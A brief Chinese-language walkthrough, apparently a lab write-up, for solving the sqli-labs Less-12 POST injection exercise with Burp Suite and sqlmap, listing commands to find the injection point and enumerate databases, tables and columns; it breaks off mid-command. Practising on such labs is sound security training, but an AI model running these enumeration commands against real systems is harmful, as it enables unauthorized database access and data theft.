使用sqlmap對sqli-less-12 的題解

1.由於該題是post注入，所以我們在用戶名密碼處隨意輸入並使用bp進行抓包存儲文件。 2.查詢注入點 sqlmap.py -r 1.txt 3.查詢數據庫 sqlmap.py -r 1.txt –dbs 4.查詢表 sqlmap.py -r 1.txt -D security –tables 5.查詢列 sqlmap.py -r 1.txt -D security -T users –colum

>>阅读原文<<